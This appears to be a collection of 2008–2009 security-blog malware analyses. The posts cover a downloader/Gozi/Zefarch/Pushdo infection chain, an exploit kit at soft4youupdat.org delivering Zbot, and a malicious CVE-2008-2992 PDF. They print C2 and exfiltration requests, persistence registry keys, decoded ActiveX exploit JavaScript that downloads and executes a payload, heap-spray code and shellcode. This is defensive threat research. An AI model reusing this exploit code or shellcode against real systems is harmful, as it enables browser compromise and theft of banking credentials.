POST /good/receiver/online HTTP/1.1
Host: 78.109.30.224
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

guid=397089404

************************************************************************

The downloaded data creates 4 temp files:

C:\WINDOWS\Temp\wpv451239013964.exe
C:\WINDOWS\Temp\wpv211239022982.exe
C:\WINDOWS\Temp\wpv781239024633.exe
C:\WINDOWS\Temp\wpv941239875139.exe

wpv451239013964.exe (Downloader)
The Temp file wpv451239013964.exe creates a trojan downloader. The malware creates:

C:\WINDOWS\system32\crypts.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "Asynchronous"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "DLLName"
Type: REG_SZ
Data: crypts.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "Impersonate"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\crypt "StartShell"
Type: REG_SZ
Data: Run

The malware connects to af9f440dcc.com (83.133.127.5, Germany) to receive instructions for additional malware downloads. The below connection returns instructions to download malware from spaeioer.com (68.180.151.74, US)

GET /bt.php?mod=&id=computername_-324073247&up=2667859&mid=soboc43 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: af9f440dcc.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Transfer-Encoding: chunked
X-Powered-By: PHP/5.2.6
Content-type: text/html
Date: Fri, 17 Apr 2009 00:42:08 GMT
Server: lighttpd/1.4.19


0SLP:3600;MOD:dAjvlbv5;URL:http://spaeioer.com/741l3.exe;SRV:stoped;

************************************************************************

GET /741l3.exe HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: spaeioer.com
Connection: Keep-Alive


************************************************************************

wpv211239022982.exe (Gozi)
The Temp file wpv211239022982.exe creates a Gozi variant. The malware monitors web connections and serves as an infostealer. The Temp file wpv211239022982.exe creates:

C:\WINDOWS\9129837.exe

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ttool = "%Windir%\9129837.exe"

The file 9129837.exe creates:

C:\WINDOWS\new_drv.sys

HKEY_CURRENT_USER\Software\Microsoft\InetData "Data"
Type: REG_BINARY
Data: 28, 00, 00, 00, 00, A5, 01, DB, 00, 00, F1, 0C, 65, 30
HKEY_CURRENT_USER\Software\Microsoft\InetData "k1"
Type: REG_DWORD
Data: 15, AB, 0A, 85
HKEY_CURRENT_USER\Software\Microsoft\InetData "k2"
Type: REG_DWORD
Data: 91, CC, B1, 44
HKEY_CURRENT_USER\Software\Microsoft\InetData "version"
Type: REG_SZ
Data: 16


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "DisplayName"
Type: REG_SZ
Data: !!!!
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ErrorControl"
Type: REG_DWORD
Data: 00, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "ImagePath"
Type: REG_EXPAND_SZ
Data: \??\C:\WINDOWS\new_drv.sys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Start"
Type: REG_DWORD
Data: 03, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv "Type"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "0"
Type: REG_SZ
Data: Root\LEGACY_NEW_DRV\0000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "Count"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Enum "NextInstance"
Type: REG_DWORD
Data: 01, 00, 00, 00
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\new_drv\Security "Security"
Type: REG_BINARY
Data: [binary data]

The following services are stopped:

Application Layer Gateway Service
Windows Firewall/Internet Connection Sharing (ICS)
Security Center

The Gozi malware connects to 91.207.61.44 (Ukraine) and 212.117.165.54 (Luxembourg) for C2 and data exfiltration.

POST /cgi-bin/ppp.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------28c6e728c6e728c6e7
User-Agent: IE
Host: 91.207.61.44
Content-Length: 231
Cache-Control: no-cache


----------------------------28c6e728c6e728c6e7

Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"
Content-Type: application/octet-stream
Forms:

----------------------------28c6e728c6e728c6e7--


************************************************************************

GET /cgi-bin/commm.cgi?user_id=2232068885&version_id=16&passphrase=fkjvhsdvlksdhvlsd&socks=2149&version=125&crc=00000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: 91.207.61.44


************************************************************************

GET /cgi-bin/ooo.cgi?user_id=2232068885&version_id=16&passphrase=fkjvhsdvlksdhvlsd&socks=2149&version=125&crc=00000000 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Host: 91.207.61.44


************************************************************************

POST /cgi-bin/ccc.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------28cd6f28cd6f28cd6f
User-Agent: IE
Host: 91.207.61.44
Content-Length: 305
Cache-Control: no-cache

----------------------------28cd6f28cd6f28cd6f

Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"
Content-Type: application/octet-stream


0S...0...*.H.. .......0.0;0.0...+........z(W...g*{....5&.............*...Z...18m.....

----------------------------28cd6f28cd6f28cd6f—


************************************************************************

POST /cgi-bin/fd.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------28ea2e28ea2e28ea2e
User-Agent: IE
Host: 91.207.61.44
Content-Length: 263
Cache-Control: no-cache


----------------------------28ea2e28ea2e28ea2e
Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"
Content-Type: application/octet-stream

URL: https://212.117.165.54/put.php

load=1
----------------------------28ea2e28ea2e28ea2e--

************************************************************************

POST /cgi-bin/fd.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------297799297799297799
User-Agent: IE
Host: 91.207.61.44
Content-Length: 3494
Cache-Control: no-cache


----------------------------297799297799297799

Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"

Content-Type: application/octet-stream

URL: https://212.117.165.54/put.php

type=jpg&img=/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAwANoDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb

************************************************************************

POST /cgi-bin/fd.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------2a3ea22a3ea22a3ea2
User-Agent: IE
Host: 91.207.61.44
Content-Length: 266
Cache-Control: no-cache

----------------------------2a3ea22a3ea22a3ea2

Content-Disposition: form-data; name="upload_file"; filename="2232068885.16"
Content-Type: application/octet-stream


URL: https://212.117.165.54/put.php

confirm=1

----------------------------2a3ea22a3ea22a3ea2—

************************************************************************

wpv781239024633.exe (Zefarch)
The Temp file wpv781239024633.exe creates a Trojan. Zefarch variant. The malware monitors connections to various search engines and redirects search results to adware and malicious websites. The Temp file wpv781239024633.exe creates:

C:\WINDOWS\psbdxt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Rzuwewi "Wjite"
Type: REG_BINARY
Data: 43, 01, 38, 03, 58, 05, 51, 07, 41, 09, 44, 0B, 48, 0D, 41, 0F, 47, 11, 41, 13, 48, 15, 66, 17, 6B, 19, 78, 1B, 78, 1D, 66, 1F, 54, 21, 0C, 23, 40, 25, 4A, 27, 44, 29, 2A, 2B
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Rzuwewi "Xlaheko"
Type: REG_SZ
Data: 61

wpv941239875139.exe (Pushdo)
The Temp file wpv941239875139.exe creates a Pushdo/Pandex/Cutwail variant. The malware serves as a spambot. The Temp file wpv941239875139.exe creates a file in the user profile directory with the same name as the actual profile name. In this example john.exe was created.

Creates:
C:\Documents and Settings\John\John.exe

A registry key is created to launch the malware at startup

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "John"
Type: REG_SZ
Data: C:\Documents and Settings\John\John.exe /i
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "John"
Type: REG_SZ
Data: C:\Documents and Settings\John\John.exe /i

The malware connected to 94.247.2.95 (Latvia) for C2.

GET /40E8001430303030303030303030303030303030303031306C0000009666000000007600000642EB00053059707A82 HTTP/1.0
Content-Type: application/octet-stream


Filename Size MD5
741l3.exe 72704 03aaccd01330f844d6c601df997fc1ff
9129837.exe 33792 096ffe693647f1ad8b2e86a8b7f05b44
crypts.dll 33280 1e6d7d0dcb2afcbf20b676f0992057bb
digiwet.dll 18432 3a1d598473469887fd0ed651b7ca96b8
flash.swf 16588 609d207cf010cbda0fcde027301cbd0e
John.exe 20451 eda1b7d3cdb3fb1a1c4e4ba2b51b46a7
load.exe 18432 4c328c15f6e8603f713fdacf7dac6e87
new_drv.sys 8192 a54de1d46ff7bdefbf9d9284c1916c5e
psbdxt.dll 45568 e075c7258f38b6581277552db80659f3
readme.pdf 15964 3e8da97b9f4da49498dfa31ae1c5c342
wpv451239013964.exe 84480 29d9286c42074702a96d94138a092450
wpv781239024633.exe 45568 27a9a6570b53d3dc1e9a24317f6f6fa6

Friday, December 19, 2008

soft4youupdat.org Exploit Analysis

The analysis of exploit code hosted at soft4youupdat.org results in the typical TTP that includes malicious obfuscated JavaScript, browser-based IE exploits, banking credential stealing malware and ISPs with dubious reputations. The story follows...

A request for http://soft4youupdat.org/counts/index.php returns 3 sections of obfuscated exploit code and an iframe for hxxp://soft4youupdat(dot)org.

(1)
<script>opdYzUDi=document.location.href;if(opdYzUDi.indexOf('http://')!=-1){eval('Tgwm\x61Tgwm\x7aTgwm…….truncated…….\x7bTgwm\x7dTgwm\x7d'.replace(/Tgwm/g, ''));}</script>

(2)
<script>ftXokBk6=document.location.href;if(ftXokBk6.indexOf('http://')!=-1){eval('qyT\x66qyT\x75qyT…….truncated…….\x7bqyT\x7dqyT\x7d'.replace(/qyT/g, ''));}</script>

(3)
<html><iframe src="hxxp://soft4youupdat(dot)org/counts/cache/doc.pdf" widht="1" height="1"></iframe></html>

(4)
<script>hu7AMj=document.location.href;if(hu7AMj.indexOf('http://')!=-1){eval('MZnVp\x76MZnVp\x61MZnVp…….truncated…….\x28MZnVp\x29MZnVp\x3b'.replace(/MZnVp/g, ''));}</script>

The JavaScript replace() Method is used to obfuscate the exploit code. The replace() Method syntax is

stringObject.replace(findstring,newstring)

A 'g' flag is used to perform a global search and an 'i' flag is used to perform a case-insensitive search.

Exploit Block 1
The first block of exploit code globally replaces the characters Tgwm with the empty string ". The decoded section returns a string of escaped hexadecimal characters.

eval('\x61\x7a\x20\x3d\x20\x6e\x65\x77\x20\x41\x72\x72\x61\x79\x28\x29\x3b\x61\x7a\x2e\x70\x75\x73\x68\x28\x27\x68\x5e\x74\x26\x74\x70\x29…….truncated…….\x7b\x7d\x7d')

The hexadecimal character string decodes to reveal additional code that again uses the JavaScript replace() Method for obfuscation. The script decodes to reveal MDAC RDS.Dataspace ActiveX Control Vulnerability (CVE-2006-0003, MS06-014) exploit code. The payload is a GET request for hxxp://soft4youupdat(dot)org/counts/bin/default.exe.

az = new Array();az.push('h^t&tp)&://#$s$o#)ft4!yo*uup!da)t.)or*g!$/c((ou*n@ts!/)b#i%$n!/!@def!a^&u(l*t.exe#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));for(i = 0; i <= az.length - 1; i++){ start(az[i], '.%/$/*@..^#/)@/f)i#(le#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '') + i + '.(e(^x^e!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));}function start(sUrl, sPath) { var z = document.createElement('o&b!j))e*ct!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));z.setAttribute('id'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'z'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); z.setAttribute('clas@s!!i$!d@$'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'cl%(s&id:)B*D^9%6#C(5*^56&-^*65A3$-^11(D!(0-98*3A%-0#0(C%(0^4@FC@2(9(&E36$'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));try { var q = z.CreateObject('m&s!(xm@l%2.^&X&@M*LH@@T%T%*P'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); var s = z.CreateObject('Sh$@el#l).A%)p(pli&c$^a$t((ion'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var t = z.CreateObject('a@do%db^).$#s$)t%(r!eam'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), ''.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); try { t.type = 1; q.open('GE!T'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), sUrl, false);q.send(); t.open(); t.write(q.responseBody); t.savetofile(sPath,2); t.close();} catch(e) {}try { s.shellexecute(sPath); if(shellexecute=true) { var b = new ActiveXObject('M)icros@#oft*&.X)$M^L&!H%&T&TP!'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));b.open('G!ET#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'l*$o%!ad).php^#?)m@dc='.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '') + Math.random()); b.send(null); }} catch(e){}} catch(e){}}

Exploit Block 2

The second block of exploit code uses the same obfuscation technique decoding to reveal Microsoft Access Snapshot Viewer ActiveX Control Vulnerability (CVE-2008-2463, MS08-041) exploit code. The payload is hxxp://soft4youupdat(dot)org/counts/load.php?ssv=' + Math.random().

function killErrors() { return true; } window.onerror = killErrors; var x; var obj;var myarr = new Array(); myarr[0] = 'c:\\Program Files\\Outlook Express\\wab.exe';myarr[1] = 'd:\\Program Files\\Outlook Express\\wab.exe';myarr[2] = 'e:\\Program Files\\Outlook Express\\wab.exe';setTimeout('window.location = "ldap://127.0.0.1"', 5000);for (x in myarr){obj = new ActiveXObject('snpv$w@.S$*n%(a&ps&h%)o$t!$ Vi)ew&e&$r)# Co$n&t(ro$l.*%1$'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));try{var buf1 = 'http://soft4youupdat(dot)org/counts/load.php?ssv=' + Math.random();var buf2 = myarr[x]; obj.Zoom = 0;obj.SnapshotPath = buf1; obj.CompressedPath = buf2; obj.PrintSnapshot();}catch(e){}}

Exploit Block 3
The third block of exploit code included an iframe for hxxp://soft4youupdat(dot)org/counts/cache/doc.pdf. The PDF contained buffer overflow exploit code targeted against a vulnerability in the JavaScript method Collab.collectEmailInfo() in Adobe PDF Reader’s JavaScript Engine (CVE-2007-5659, APSB08-13). The PDF metadata indicates it was created with Scribus 1.3.3.12 which provides desktop publishing for Linux/Unix. Scribus provides a step by step guide for beginning to enhance PDF with JavaScript. The creation date is 8-6-08.

13 0 obj
<>
Stream

[filter FlateDecode has been applied to the JavaScript bitstream]

endstream
endobj
12 0 obj
<>
endobj
14 0 obj
<<>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
Endobj

The tool Pdftk - the PDF Toolkit can be used to inflate the FlateDecode JavaScript. The tool syntax is:

pdftk input.pdf output output.pdf uncompress

The exploit shellcode payload is a GET request for hxxp://soft4youupdat(dot)org/counts/load.php?pdf=35f4a8d465e6e1edc05f3d8ab658c551.

function rvcfcd208495d565e()
{
var rvc4ca4238a0b9238 = new Array();

function rvc81e728d9d4c2f6(rveccbc87e4b5ce2f, rva87ff679a2f3e71)
{
while (rveccbc87e4b5ce2f.length * 2 < rveccbc87e4b5ce2f =" rveccbc87e4b5ce2f.substring(0," rv1679091c5a880fa =" 0x0c0c0c0c;" rv8f14e45fceea167 =" unescape(" rvc9f0f895fb98ab9 =" 0x400000;" rv45c48cce2e2d7fb =" rv8f14e45fceea167.length" rva87ff679a2f3e71 =" rvc9f0f895fb98ab9" rveccbc87e4b5ce2f =" unescape(" rveccbc87e4b5ce2f =" rvc81e728d9d4c2f6(rveccbc87e4b5ce2f," rvd3d9446802a4425 =" (rv1679091c5a880fa" rv6512bd43d9caa6e =" 0;" rvc51ce410c124a10 =" app.viewerVersion.toString();" rvc51ce410c124a10 =" rvc51ce410c124a10.replace(/\D/g," rvaab3238922bcc25 =" new" rv9bf31c7ff062936 =" unescape(" collabstore =" Collab.collectEmailInfo({subj:">

Exploit Block 4
The fourth block of exploit code uses the same obfuscation technique decoding to reveal 3 buffer overflow exploits:

• COM Object Instantiation Memory Corruption Vulnerability (CVE-2005-2127, MS05-052)
• Online Media Technologies NCTsoft NCTAudioFile2 ActiveX buffer overflow - CVE-2007-0018
• Microsoft Visual Studio 'Msmask32.ocx' ActiveX Control Remote Buffer Overflow Vulnerability (MS08-070)

The shellcode payload for all 3 exploits is hxxp://soft4youupdat(dot)org/counts/load.php?bof=3c59dc048e8850243be8079a5c74d079.

var Shellcode = unescape("%u4343%u4343%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u732F%u666F%u3474%u6F79%u7575%u6470%u7461%u6F2E%u6772%u632F%u756F%u746E%u2F73%u6F6C%u6461%u702E%u7068%u623F%u666F%u333D%u3563%u6439%u3063%u3834%u3865%u3538%u3230%u3334%u6562%u3038%u3937%u3561%u3763%u6434%u3730%u0039");function geSpyrrSlirrdep(sssprassydddbSliiide, saruuysaddize){while (sssprassydddbSliiide.length * 2 < sssprassydddbsliiide =" sssprassydddbSliiide.substring(0," hpsdyytttscess =" 0x0c0c0c0c;var" hadttdtsize =" 0x400000;var" payfdlytyusade =" Shellcode.length" tggter =" payfdLytyusade" saruuysaddize =" hadttdtSize" sssprassydddbsliiide =" unescape(" prrerat =" new" sssprassydddbsliiide =" geSpyrrSlirrdep(sssprassydddbSliiide," kilrrer =" hpsdyytttscess" hsttiicks =" kilrrer" i =" 0;" ugric =" unescape(" xyz =" 0x40000;while(ugric.length" ugric =" ugric.substring(0," bublic =" new" i =" bublic;">');zorro = Math.ceil(0xd0d0d0d);zorro = document.scripts[0].createControlRange().length;}catch(e) {}setTimeout("startAudioFile()", 2000);}function startAudioFile(){try{var mmed = document.createElement("object");mmed.setAttribute("classid", "clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC");var mms="";for(var i=0; i < body =" '';var buf1 = '';for (i = 1; i <= 1945; i++){buf1 = buf1 + unescape(" href="http://google.com/">

Malware Analysis
The payload for all of the soft4youupdat(dot)org exploits is the same binary file.

Filename: bin_default.exe/default.exe
MD5: d9b7bf5b02fa9d1fc9da041916ff0a5e
Size: 59,392 bytes

The malware is a Zbot trojan which steals online banking information and downloads additional malware.

The following files are created:

%System%\ntos.exe
0xB01F2D6531F9EC917E8996ED5962DB48
308,736 bytes

%System%\wsnpoem\audio.dll
%System%\wsnpoem\video.dll

The following registry key is created to launch the malware at startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] Userinit = "%System%\userinit.exe,%System%\ntos.exe,"

Virus total indicates a low detection rate for this particular variant at the time of analysis [Result: 9/38 (23.68%)]

Domain Analysis
The domain soft4youupdat.org was registered 11-20-08 at Everyones Internet, Ltd.

Domain ID:D154732571-LROR Domain
Name:SOFT4YOUUPDAT.ORG

Created On:20-Nov-2008 12:59:45 UTC
Last Updated On:20-Nov-2008 13:19:16 UTC
Expiration Date:20-Nov-2009 12:59:45 UTC
Sponsoring Registrar:Everyones Internet, Ltd. (R1381-LROR)
Status:TRANSFER PROHIBITED
Registrant ID:tul8MyjB2Dv7rqIF
Registrant Name:Vladimir Mashkov
Registrant Organization:N/A
Registrant Street1:st. Lenin's 56 square 43
Registrant Street2:
Registrant Street3:
Registrant City:Moscow
Registrant State/Province:Moscow
Registrant Postal Code:10010
Registrant Country:RU
Registrant Phone:+7.4950784576
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email: mailto:andrea12a@inbox.ru

The domain soft4youupdat.org currently resolves to 67.228.139.26 which is registered to the Plano, TX company SOFTLAYER Technologies Inc. (ASN AS36351, 67.228.128.0/18).

aut-num: AS36351
as-name: SOFTLAYER
descr: SoftLayer Technologies Inc.
import: from AS-ANY accept ANY AND NOT {0.0.0.0/0}
export: to AS-ANY announce AS36351
admin-c: IPADM258-ARIN
tech-c: IPADM258-ARIN
notify: noc@softlayer.com
mnt-by: MAINT-AS36351
changed: ipadmin@softlayer.com 20060110
source: RADB

SOFTLAYER Technologies Inc leased IP space to Innovation IT Solutions Corp which is an international communications company headquartered in London, UK.

Innovation IT Solutions Corp. NET-67-228-139-0 (NET-67-228-139-0-1)
67.228.139.0 - 67.228.139.127



SOFTLAYER Technologies Inc is listed by StopBadware.org in their top 10 worst network block owners and the McColo Cyber Crime USA – V2.0 report lists the ISP in the top 5 worst network block owners. Both IT Solutions Corp and SOFTLAYER Technologies Inc have been previously tied to RBN activity and the Russian Cyberwar on Georgia.


Wednesday, November 12, 2008

CVE-2008-2992 Adobe PDF Exploitation

On 7 November 2008, SANS reported an active exploit against the Adobe Reader and Acrobat util.printf() JavaScript function stack buffer overflow vulnerability (CVE-2008-2992). Adobe Reader and Acrobat contain a stack buffer overflow in the util.printf() JavaScript function, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. The vulnerability was first reported by CORE Security technologies in May 2008. Adobe released Adobe Reader and Adobe Acrobat 8.1.3 on 4 November 2008 to address the vulnerability (APSB08-19). Public exploit code was reported on 7 November 2008. The following analyzes a malicious PDF sample.

Exploit Analysis:

The site infonews.ath.cx hosted the malicious PDF file data.pdf (hxxp://infonews.ath.cx/data.pdf). The domain ath.cx is controlled by five name servers at dyndns.org. Dynamic DNS (DDNS) allows individuals to create a hostname that points to his/her dynamic IP or static IP address or URL. DynDNS also provides an update mechanism which makes the hostname work with a dynamic IP address.

ns1.dyndns.org 63.208.196.90
ns2.dyndns.org 204.13.249.75
ns3.dyndns.org 208.78.69.75
ns4.dyndns.org 91.198.22.75
ns5.dyndns.org 203.62.195.75

At the time of exploit, infonews.ath.cx resolved to 85.17.162.100 located in the Netherlands.

inetnum: 85.17.162.0 - 85.17.162.255
netname: LEASEWEB
descr: LeaseWeb
descr: P.O. Box 93054
descr: 1090BB AMSTERDAM
descr: Netherlands
descr: www.leaseweb.com
remarks: Please send email to mailto:"abuse@leaseweb.com" for complaints
remarks: regarding portscans, DoS attacks and spam.
remarks: INFRA-AW
country: NL
admin-c: LSW1-RIPE
tech-c: LSW1-RIPE
status: ASSIGNED PA
mnt-by: OCOM-MNT
source: RIPE # Filtered

The IP 85.17.162.100 currently maps to 19 domains.

*.adrefer.net
*.adxdnet.net
*.kasdfps.net
ad.adrefer.net
adrefer.net
adxcnet.net
adxdnet.net
awltovhc.net
espads.net
especialads.com
ikwlkad.net
infonews.ath.cx
iwdjiamk.net
kasdfps.net
kiafjwo.net
netcrefer.net
ssa.adxdnet.net
tqlkg.net
www.kasdfps.net

data.pdf
84bc91579cd4dbee7faf3ee09c4a9a4b
10179

The malicious PDF file includes objects that contain document-level JavaScript.

00000581 00000581 0 24 0 obj
0000058A 0000058A 0 <</JavaScript 25 0 R>>
000005A1 000005A1 0 endobj
000005A8 000005A8 0 25 0 obj
000005B1 000005B1 0 <</Names[(main)26 0 R]>>
000005CA 000005CA 0 endobj
000005D1 000005D1 0 26 0 obj
000005DA 000005DA 0 <</S/JavaScript/JS 27 0 R>>
000005F6 000005F6 0 endobj
000005FD 000005FD 0 27 0 obj
00000606 00000606 0 <</Length 1257/Filter[/FlateDecode]>>stream
00000636 00000636 0 W[k+7
00000667 00000667 0 Ms(l6
00000799 00000799 0 Gs~tx
0000086E 0000086E 0 8U7n
0000091B 0000091B 0 l+Vi5
0000096B 0000096B 0 o :[hx
00000B1E 00000B1E 0 endstream
00000B28 00000B28 0 endobj
00000B2F 00000B2F 0 28 0 obj



The inflated PDF FlateDecode streams reveal obfuscated JavaScript which further decodes to reveal shellcode.

var sccs = unescape(""+"%"+"u03eb%u"+"eb59%ue805%uf"+"ff8%uffff%u4949%u4949%u494"+"9%u4937
%u4949%u4949%u4949%u4949%u4949%u5a51%u656a%u5058%u4230%u4231%u6b41%u4141%u4175%u4132%u3241
%u4142%u4230%u5841%u4138%u5042%u4d75%u7939%u4d6c%u5038%u4344%u4530%u3550%u4c50%u714b%u5555
%u4c6c%u414b%u736c%u4135%u6368%u6a31%u6c4f%u524b%u766f%u6c78%u414b%u674f%u6450%u6841%u726b
%u6e69%u546b%u6c74%u374b%u5871%u706e%u6b31%u6e70%u4e79%u4b4c%u3934%u7350%u5744%u6f77%u6931
%u565a%u776d%u6871%u3842%u396b%u4564%u416b%u4444%u6364%u5434%u4935%u6e75%u636b%u416f%u3534
%u7a51%u514b%u6e76%u346b%u304c%u6e4b%u416b%u754f%u354c%u6a51%u6e4b%u476b%u6e6c%u436b%u7a31
%u4c4b%u7349%u516c%u5634%u4b64%u3073%u4f31%u5230%u4e44%u736b%u4470%u4c70%u5945%u4150%u3468
%u4c4c%u634b%u4670%u4c6c%u524b%u5750%u6e6c%u6c4d%u504b%u3768%u6a78%u574b%u6c79%u6b4b%u4e30
%u7750%u7770%u4370%u6c30%u754b%u5738%u614c%u544f%u7871%u5376%u5650%u6c36%u7949%u4e68%u6b63
%u5170%u566b%u3230%u6c48%u4d30%u675a%u4374%u356f%u4f38%u7968%u4d6e%u765a%u706e%u4b57%u4d4f
%u7237%u344d%u7333%u5258%u5054%u5761%u4150%u7278%u6354%u4244%u6450%u767a%u364f%u624f%u5341
%u3154%u4368%u7054%u316e%u3175%u7464%u326e%u524e%u7345%u6444%u426f%u7043%u706f%u3564%u3435
%u516f%u3263%u4352%u7045%u646e%u346e%u3530%u5438%u7530%u6550");

var bgbl = unescape("%u0A0A"+"%u0A0A");
var slspc = 20 + sccs.length;
